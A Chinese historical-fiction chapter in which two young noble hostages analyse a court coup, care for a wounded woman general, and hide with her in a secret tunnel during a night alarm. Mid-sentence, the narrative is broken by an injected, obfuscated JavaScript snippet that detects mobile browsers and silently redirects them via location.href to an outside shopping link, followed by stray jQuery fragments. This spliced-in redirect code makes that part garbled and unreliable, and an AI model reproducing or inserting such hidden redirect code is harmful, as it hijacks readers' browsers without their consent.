魏夫人气喘吁吁地回来时,已是深夜。
她领着阿苍,带回了数只野兔与雉鸡,皆是处理干净的。她将猎物扔在庖厨门口的雪地上,只说外面风大,便径直入了东屋,查看王女青的情况。
司马复默然看着那些猎物。这等天气,兵荒马乱,寻常猎户与猎物都已绝迹。魏夫人即便身手不凡,也断无可能在短时间内猎得如此多的野物。她此行,必是去往据点接头,带回了补给,就像此前她突然领回阿苍一样。
但司马复并未说破,只是走上前将冻得僵硬的猎物一一拎起,挂进庖厨。
稍后,魏夫人从东屋出来,面色凝重:“外面到处是乱兵,这里也快不安全了。”
入夜,万籁俱寂。西屋之内,司马复与韩雍皆无睡意。阿苍被魏夫人安置在东屋门外用以警戒。夜半三更,司马复听到那畜生喉间发出低沉呜咽,并非吠叫,而是示警。紧接着,他便听到东屋的门被极轻地推开,是魏夫人起身查看。仅仅子时,这样的动静就反复了数次。
黑暗中,韩雍先开口:“现下局势如何?相国是否占了上风?我父亲他……”
司马复道:“太尉无论如何都不会有性命之忧。他历经两朝,于军中威望甚高,无论哪一方得胜都需要他来稳定大局。至于相国……”
他停顿片刻,听着外间阿苍又一次不安的低吼。
“相国定是占了上风。”司马复声音笃定,“你看魏夫人,她的紧张并非伪装。她深夜方归,行色匆匆,带回许多食物,却没有增加人手。这说明,她既担忧此处的安危与后续补给,又因局势紧张,他们已分不出人手到我们这里。”
“可她又提到了乱兵。”
“这意味着情势可能略有失控,”司马复道,“但你无需担心,有我在。”
韩雍原本是背对司马复,闻言转过身来:“然而,你今夜毫无睡意。”
司马复道:“……年纪大了,是这样。她们称你韩小郎,叫我司马郎君。”
“你我同岁,何至于?”韩雍不为所动,坚持道,“你今夜毫无睡意。”
司马复无奈,言简意赅道:“萧道陵没死,而且拿到了虎符。中郎将败了。”
韩雍一震:“什么?”
“魏夫人并无悲伤,是以萧道陵没死。”司马复语速极快,“中郎将于长乐门重伤,真人取走了皇后交予她的虎符,赶往京畿大营。而既然萧道陵未死,真人自然是将虎符交予他了。”
韩雍问:“那为何说中郎将败了?她与龙骧将军师出同门,感情甚好。”
司马复道:“你前日被她迷惑,只顾着给她梳头,何曾留意她究竟说了什么。”
“我……何曾被她迷惑!”韩雍立刻反驳,“她当日说的是,陛下与皇后感情极好。”
“那我问你,”司马复抓住重点,“她是否说过,‘我也想与陛下、皇后、海叔,永远在一起’?她是否提及萧道陵?”
“我记起了。但她忘记了不行么?”
“呵,问得好!韩永熙,那时你知道我在窗外,你也忘记了我。”
“……我那时,”韩雍的声音低了下去,“只是……只是突然一阵悲伤。不知为何,中郎将那日看我一眼,我就想到劫后余生、万物澄明……但实际上,我当时……听她说陛下与皇后的事,我……”
“继续,韩小郎。”
“我……我仿佛……身临一潭静水,惟有她的声音滴入耳中,每一字都漾开涟漪,推着我的心神往她所指处去。我见到漫天飞雪,陛下与皇后在雪中相携而行。我甚至,嗅到了枯枝上新雪的清寒……永恒之下,尽是哀戚……我五感六识都被占据,哪还分得清虚实,记得起你?”
“所以,韩小郎,”司马复的语气缓和了些,“勿要轻信他人,时时应有防人之心。”
“可是……”
“中郎将此人,操控你的心神易如反掌,她自己又怎会如你一般善良单纯。她不提萧道陵,必然不是她忘了。”司马复打断他,“她心烦意乱,昨日已是在胡乱应付我。让她心急的,根本不在你我。”
“那么,她心急的是……”
“韩小郎,如果皇后是把虎符交给你,你会放手?”
“这……我拿虎符不合适,肯定给你了。”
“中郎将不是你!她带着虎符上的长乐门!”
韩雍震惊:“但如果她战死在长乐门,龙骧将军没有虎符,岂非无法从京畿大营调动兵马回援永都?中郎将并不像眼中只有私利权术之人啊!”
司马复闻言无语。在他心中,萧道陵的去向根本不是问题,京畿四大营看似选择众多,实则只有一条生路。北营镇朔?代、朔二王正是从该方向陈兵,大营是否生变未可知,萧道陵绝不会自投罗网。南营伏波?那是水师,长于舟楫,短于陆战,远水难救近火。西营荡寇?驻地五丈原,路途迂回,且易遭截击。
司马复的思绪在黑暗中清晰无比,但他不太想对韩雍逐一分析。
“永熙,”他直接说出结论,“萧道陵唯一能投靠的,只有东营靖安。”
“为何?”
“因为东营主将,乃是皇后与中领军的舅父,靖安将军卫逵。萧道陵去投靠他,根本不需要虎符。”
韩雍恍然大悟:“所以,中郎将并不觉得虎符会影响后续?她只是纯粹想要虎符而已?她果然不是……”
“韩小郎非要如此解读,倒也无不可。”司马复哭笑不得。
“那么,”韩雍又抓住一个盲点,“真人也是想到这些,当时便径直去了靖安大营?可既然虎符对卫将军不是必须的,真人又何必执意取走中郎将的虎符?他不怕中郎将醒来伤心么?”
司马复一滞:“永熙以赤子之心度人,叫我自惭形秽。”
他沉吟半晌:“你不妨这样想,相国将我送入宫中为质,可曾顾及我是否伤心?永熙啊,莫因真人看似仙风道骨,便真当他超然物外。你勿要轻信他人。”
“中郎将真是可怜。”韩雍却得出这个结论。
司马复惆怅:“我与你白说了。”
“但是,”韩雍锲而不舍地追问,“中郎将败了,你为何毫无睡意?”
司马复道:“她与萧道陵有隙。眼下虽败,却未必不能翻身。”
“这便是你毫无睡意的原因?”
司马复头痛:“韩小郎,你是否考虑过病好后如何从此地脱身?你还想与我再当一回人质?”
“我那日与你说过,我此番大病,恍若重生。”韩雍的声音平静而有力量,“我在此地,并不觉得自己是人质。正如你方才分析,此刻让中郎将心急的,根本不在你我,你又何必揣测她将对你我不利。你只当是她在此地疗伤,我在此地治病,天地逆旅,浮生偶聚,理应珍惜。”
司马复久久不语,最后长舒一口气:“说的好!我要睡了。”
韩雍却不让他睡:“长乐门之事,究竟惨烈到何等地步?我彼时人事不知。”
“不要好奇。”
“你与我讲讲。此事多少因我而起,尤其中郎将的伤势。”
“并不是因你而起!”司马复没好气道,“但我若说了,你夜里做噩梦,我必被你踹下床去!”
第二日,白天无事。
小院再度被世间遗忘,除了雪地里北风呼啸,再无其他声响。
但魏夫人依旧忙碌,精神高度紧张。她大部分时间都在东屋照料王女青,偶尔出屋,也是因察觉异常,出来瞭望远方。阿苍更是如此,整日伏在东屋门前,对周遭任何声响都报以警惕低吼,司马复拿去的食物,它也吃得少了。
这压抑紧张的气氛,一直持续到了傍晚。
魏夫人从东屋走出,对司马复与韩雍道:“青青内伤比我想的严重,又发烧了。我方才给她喂了药,让她睡下了。但是药不对症,我没有办法,必须立刻出去。我把阿苍留给你们,你们务必照顾好青青。”
韩雍立刻应道:“夫人放心,我等定会尽心竭力。”
魏夫人点了点头,又单独转向司马复。
“司马郎君,韩小郎能从病中恢复,虽不全是我的功劳,但我也有苦劳。还望你看在这一点情分上,万一遇到事情,不要丢下青青。”
“外面若有风吹草动,请立即带青青转移进密道。来者不会是我们的人,要么是你祖父的人,要么就是乱兵。我现在把话说直白了,司马郎君,你若没有心,大可以把青青丢在这里自己跑了,让她被抓、被杀、被侮辱。甚至,如果来的是你祖父的人,你大可以带着韩小郎一起走,把青青献给你祖父。”
司马复道:“复,只凭本心行事。”
“你!”魏夫人被他这句模棱两可的话气到。
韩雍忙道:“夫人快去,我会照顾青青,定不抛下她。”
魏夫人看了看司马复,又看了看韩雍,最终一咬牙,转身快步离去。她走出院门,却又忍不住回头,如此一步三回头,身影才最终消失在暮色里。
韩雍望着她的背影,不解道:“夫人缘何不走密道?此行又非外出打猎。”
司马复赞许:“永熙,你长进了
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16803878|190727||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
。”
韩雍道:“你之前说,局势紧张,他们已分不出人手到我们这里。”
司马复道:“是,也未必是。静观其变吧。”
子时,变故陡生。
廊下的阿苍突然站起,连续发出压抑在喉间的示警。
司马复当机立断,叫醒韩雍,自己则快步走向东屋。他推门而入,径直走到床边,将昏睡中的王女青连同被褥一同抱起。
“永熙,”他对跟进来的韩雍道,“你回去带上被子,还有食物和水。”
韩雍应了一声,迅速将西屋的被褥与案上的干粮水囊抱在怀里。两人一犬,迅速来到院后的密道入口。司马复启动机关,石板无声滑开,露出黑沉沉的甬道。
密道之内,月光从头顶的采光井洒落,在青石板上投下清冷光斑。
司马复再次打量密道。待韩雍将王女青安顿下来,他发现一侧有数级石阶,通向一个耳室。他进去查探片刻,发现了许多食物与其他储备,回来后便在此处石阶上坐下,思索局势。
不知过了多久,阿苍冻得发抖,呜咽着钻进了韩雍怀里。韩雍将狗裹进被子,紧紧抱住。半晌,他对司马复轻声问道:“凤凰,你说中郎将会不会也冷?她还在发烧。我知道,此举失礼,但是否该事急从权?”
司马复坐在不远的那处石阶上,心下了然。
“韩小郎,你想如何?你既已抱着阿苍,莫非要我过来抱着中郎将?”
阿苍似乎听懂了,喉咙里发出一声不满的低吼。
“那么韩小郎,你抱中郎将,我过来抱你的狗?”
阿苍对着司马复咆哮起来,抗议声更大了,还用头在韩雍怀里直拱。
司马复叹息:“那好,韩永熙,你便左拥右抱。”
阿苍这才满意地安静下来,欢快地摇了摇尾巴。
韩雍言辞恳切:“只能如此了。夫人不许你碰中郎将,连称呼她青青都不许。她说真人嘱咐,万万不可让你对中郎将有亲密之举。我知道,你实是天底下最守礼的人,只因你从小到大,内心都是生人勿近,能不亲密便不亲密,不论男女。就连第一次慕少艾,你也只敢隔着窗户远远看着,遂无疾而终。”
司马复道:“韩小郎,你我挚友,少说两句。”又道,“你左拥右抱,得偿所愿便是。只不知中郎将日后清醒,忆起今日,是会对你手起刀落,还是让你入她府中,日日为她梳头。阿苍这畜生,便给你当做聘礼了。”
韩雍道:“这话听着,倒像是从前魏朗在背后非议你我。你是妒忌中郎将了。她病着,你便让着她些。你若病了,我也这般待你,绝无二致。”
司马复道:“阿苍是畜生,也听不下去了。”
韩雍便不再多言,笑意盈盈调整了姿势,将王女青也揽入怀中,让她靠着自己,分享被褥与体温。他左边是毛茸茸的黑犬,右边是硬邦邦的中郎将,竟也觉得并无不妥。司马复看得无语,将自己的被子也拿过去,盖在他们身上,自己则坐回冰冷的石阶。
“抱歉。”韩雍抵不住疲惫,很快在左拥右抱中睡着了。
司马复看着挚友在睡梦中舒展开的眉头,心中生出一丝暖意。
他目光又落在王女青毫无防备的睡脸上。细小的伤痕仍在,是他划开了她的面甲,面甲碎裂,使她容颜有损。此刻,因她紧闭双眼,他只能看到她眉骨与鼻梁陡峭,下颌分明,收束既柔和又利落,骨相清俊美丽,沉睡中依然锋芒不褪。
这让他想到演武场上的萧道陵,又想到宣武帝与章皇后。昨日,她半靠于床头,用那样平静笃定的语气,说起宣武帝与章皇后对他的期待,“神清骨秀,宛如神人,必是我大梁日后肱骨之臣”。这句话未必是真,但也未尝没有扎在他心间。然而,人生是否会有另一种可能?那必定是没有的。
夜色更深,寒气愈发刺骨。
睡梦中的韩雍似乎觉得更冷了,下意识将怀中毛茸茸的阿苍抱得更紧,身体也向那边蜷缩过去,卷走了大半被褥。司马复见状,迟疑片刻,起身走到王女青身边,静静坐下。他又迟疑很久,先是让她靠在自己身上,感受她隔着衣物传来的体温。高烧似乎已经退去,但她的身体仍不时发抖,眼角还有泪水渗出。
一炷香以后,他终于伸出手臂,轻轻将她抱入怀中。
他让她完全靠在自己胸前,用自己的体温为她抵御寒意。
“中郎将,韩永熙说的不错,你其实也是个可怜人。陛下崩逝,皇后恐怕也凶多吉少,想来你是真难过的。”他的声音被黑暗吞没,“复,失礼了。”